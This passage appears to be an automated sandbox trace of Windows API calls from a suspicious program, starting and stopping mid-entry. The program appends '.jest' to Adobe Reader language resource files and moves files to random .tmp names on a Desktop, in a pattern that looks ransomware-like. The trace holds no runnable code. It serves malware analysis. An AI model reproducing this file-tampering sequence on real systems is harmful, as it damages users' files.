hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.662] GetTickCount () returned 0x1157704 [0150.662] IsWindowVisible (hWnd=0x30268) returned 0 [0150.662] Sleep (dwMilliseconds=0x0) [0150.663] GetFullPathNameA (in: lpFileName="9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp", lpFilePart=0x18e708*="9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp") returned 0x8f [0150.663] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt", lpFilePart=0x18e708*="DisplayLanguageNames.nl_BE_PREEURO.txt") returned 0x73 [0150.664] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9vgr8dg4d0yxaab2rzj5bj2vlv001dzhckwzkpy8wldi-cfjvtnekuijlp_ubxmqpxttsshpdpaylhotjv0x ffdqsxx49bxwbcr0.tmp")) returned 0 [0150.664] GetLastError () returned 0x2 [0150.664] GetLastError () returned 0x2 [0150.664] SetLastError (dwErrCode=0x2) [0150.664] GetLastError () returned 0x2 [0150.664] SetLastError (dwErrCode=0x2) [0150.664] GetLastError () returned 0x2 [0150.664] SetLastError (dwErrCode=0x2) [0150.664] GetFullPathNameA (in: lpFileName="9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp", lpFilePart=0x18e6e4*="9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp") returned 0x8f [0150.664] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9vgr8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x72677639, cFileName="8Dg4d0YxaAb2rzj5BJ2vLV001DZhCKwZKPY8wlDI-cfjVtNEkUIjLp_UBxMqPxttsshpdPaYlhotjv0X ffdqSXx49BxWBCR0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.664] GetLastError () returned 0x2 [0150.664] GetLastError () returned 0x2 [0150.665] SetLastError (dwErrCode=0x2) [0150.665] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.665] CoFreeUnusedLibraries () [0150.665] GetTickCount () returned 0x1157704 [0150.665] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.665] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.665] GetTickCount () returned 0x1157704 [0150.665] IsWindowVisible (hWnd=0x30268) returned 0 [0150.665] Sleep (dwMilliseconds=0x0) [0150.666] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt.jest")) returned 1 [0150.667] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.nl_BE.txt") returned 0x6b [0150.667] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c918, ftLastAccessTime.dwLowDateTime=0x144ecf8, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.667] GetLastError () returned 0x2 [0150.667] VarBstrFromR4 (in: fltIn=0x4794502d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.35") returned 0x0 [0150.668] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.668] CoFreeUnusedLibraries () [0150.668] GetTickCount () returned 0x1157704 [0150.668] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.668] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.668] GetTickCount () returned 0x1157704 [0150.668] IsWindowVisible (hWnd=0x30268) returned 0 [0150.668] Sleep (dwMilliseconds=0x0) [0150.669] GetFullPathNameA (in: lpFileName="wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp", lpFilePart=0x18e708*="wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp") returned 0x8f [0150.669] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt", lpFilePart=0x18e708*="DisplayLanguageNames.nl_BE.txt") returned 0x6b [0150.669] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wp6pmiggie7tarky8azs-zjp_rzu9-qz7xqexg995zp7wwj0bqvvaz4zzvecm7m_w2 uzmhym75ug93ssr0rf7rafuksnekcawjxq.tmp")) returned 0 [0150.669] GetLastError () returned 0x2 [0150.670] GetLastError () returned 0x2 [0150.670] SetLastError (dwErrCode=0x2) [0150.670] GetLastError () returned 0x2 [0150.670] SetLastError (dwErrCode=0x2) [0150.670] GetLastError () returned 0x2 [0150.670] SetLastError (dwErrCode=0x2) [0150.670] GetFullPathNameA (in: lpFileName="wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp", lpFilePart=0x18e6e4*="wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp") returned 0x8f [0150.670] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wp6PmiGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x50367077, cFileName="miGgIE7TArky8aZS-ZJp_RzU9-qz7xqExG995ZP7wWj0bqvvaz4ZzvEcM7M_W2 uzMhYm75Ug93Ssr0Rf7rAFukSNEkcAWJxQ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.670] GetLastError () returned 0x2 [0150.670] GetLastError () returned 0x2 [0150.670] SetLastError (dwErrCode=0x2) [0150.671] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.671] CoFreeUnusedLibraries () [0150.671] GetTickCount () returned 0x1157704 [0150.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.671] GetTickCount () returned 0x1157704 [0150.671] IsWindowVisible (hWnd=0x30268) returned 0 [0150.671] Sleep (dwMilliseconds=0x0) [0150.671] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt.jest")) returned 1 [0150.672] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.nl.txt") returned 0x68 [0150.672] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x5000005, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebc8, ftLastAccessTime.dwLowDateTime=0x1446100, ftLastAccessTime.dwHighDateTime=0x1436318, ftLastWriteTime.dwLowDateTime=0x28, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.673] GetLastError () returned 0x2 [0150.673] VarBstrFromR4 (in: fltIn=0x4794502d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.35") returned 0x0 [0150.673] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.673] CoFreeUnusedLibraries () [0150.674] GetTickCount () returned 0x1157714 [0150.674] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.674] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.674] GetTickCount () returned 0x1157714 [0150.674] IsWindowVisible (hWnd=0x30268) returned 0 [0150.674] Sleep (dwMilliseconds=0x0) [0150.674] GetFullPathNameA (in: lpFileName="bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp", lpFilePart=0x18e708*="bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp") returned 0x8f [0150.675] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt", lpFilePart=0x18e708*="DisplayLanguageNames.nl.txt") returned 0x68 [0150.675] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bmjplisdvoetr5xinfv0ooxar7wsy6yybd4zoymzvyocqupg4onco96kkz0bqfhcwrd6gb_hoez6ifwdqr0yirxgr9vgefzpdv5j0.tmp")) returned 0 [0150.675] GetLastError () returned 0x2 [0150.675] GetLastError () returned 0x2 [0150.675] SetLastError (dwErrCode=0x2) [0150.675] GetLastError () returned 0x2 [0150.675] SetLastError (dwErrCode=0x2) [0150.675] GetLastError () returned 0x2 [0150.675] SetLastError (dwErrCode=0x2) [0150.676] GetFullPathNameA (in: lpFileName="bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp", lpFilePart=0x18e6e4*="bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp") returned 0x8f [0150.676] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bMjPliSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x506a4d62, cFileName="liSdvOETR5xINfV0OoXAr7wsY6yYbD4zoYMZvyocQupG4oNCo96kkZ0bqFhCWrD6gB_HOEz6IFwDQR0YiRXgR9vGefZPDV5J0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.676] GetLastError () returned 0x2 [0150.676] GetLastError () returned 0x2 [0150.676] SetLastError (dwErrCode=0x2) [0150.676] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.677] CoFreeUnusedLibraries () [0150.677] GetTickCount () returned 0x1157714 [0150.677] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.677] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.677] GetTickCount () returned 0x1157714 [0150.677] IsWindowVisible (hWnd=0x30268) returned 0 [0150.677] Sleep (dwMilliseconds=0x0) [0150.677] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt.jest")) returned 1 [0150.678] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.nl_NL_PREEURO.txt") returned 0x73 [0150.678] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x16000016, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144edf8, ftLastAccessTime.dwLowDateTime=0x146c828, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.678] GetLastError () returned 0x2 [0150.679] VarBstrFromR4 (in: fltIn=0x4794502f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.37") returned 0x0 [0150.679] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.679] CoFreeUnusedLibraries () [0150.679] GetTickCount () returned 0x1157714 [0150.679] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.679] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.679] GetTickCount () returned 0x1157714 [0150.680] IsWindowVisible (hWnd=0x30268) returned 0 [0150.680] Sleep (dwMilliseconds=0x0) [0150.680] GetFullPathNameA (in: lpFileName="eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp", lpFilePart=0x18e708*="eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp") returned 0x8e [0150.680] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt", lpFilePart=0x18e708*="DisplayLanguageNames.nl_NL_PREEURO.txt") returned 0x73 [0150.681] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ee0fya483cpufaifklxoktvo58l rdqt0ryv9_l-pv2gq mn5o7nw5hsxwk2g4xzq_77d7tsqhp jcwomgf7gb6otxjv0dop36g6.tmp")) returned 0 [0150.681] GetLastError () returned 0x2 [0150.681] GetLastError () returned 0x2 [0150.681] SetLastError (dwErrCode=0x2) [0150.681] GetLastError () returned 0x2 [0150.681] SetLastError (dwErrCode=0x2) [0150.681] GetLastError () returned 0x2 [0150.681] SetLastError (dwErrCode=0x2) [0150.681] GetFullPathNameA (in: lpFileName="eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp", lpFilePart=0x18e6e4*="eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp") returned 0x8e [0150.681] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eE0Fya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x46304565, cFileName="ya483CPUFaiFklXOKtvO58L rdqT0ryV9_l-pV2GQ mN5o7Nw5hSxwK2g4xzq_77d7tsQhp JcwoMgf7gb6OTXJV0DoP36g6.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.682] GetLastError () returned 0x2 [0150.682] GetLastError () returned 0x2 [0150.682] SetLastError (dwErrCode=0x2) [0150.682] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.682] CoFreeUnusedLibraries () [0150.682] GetTickCount () returned 0x1157714 [0150.682] HeapFree 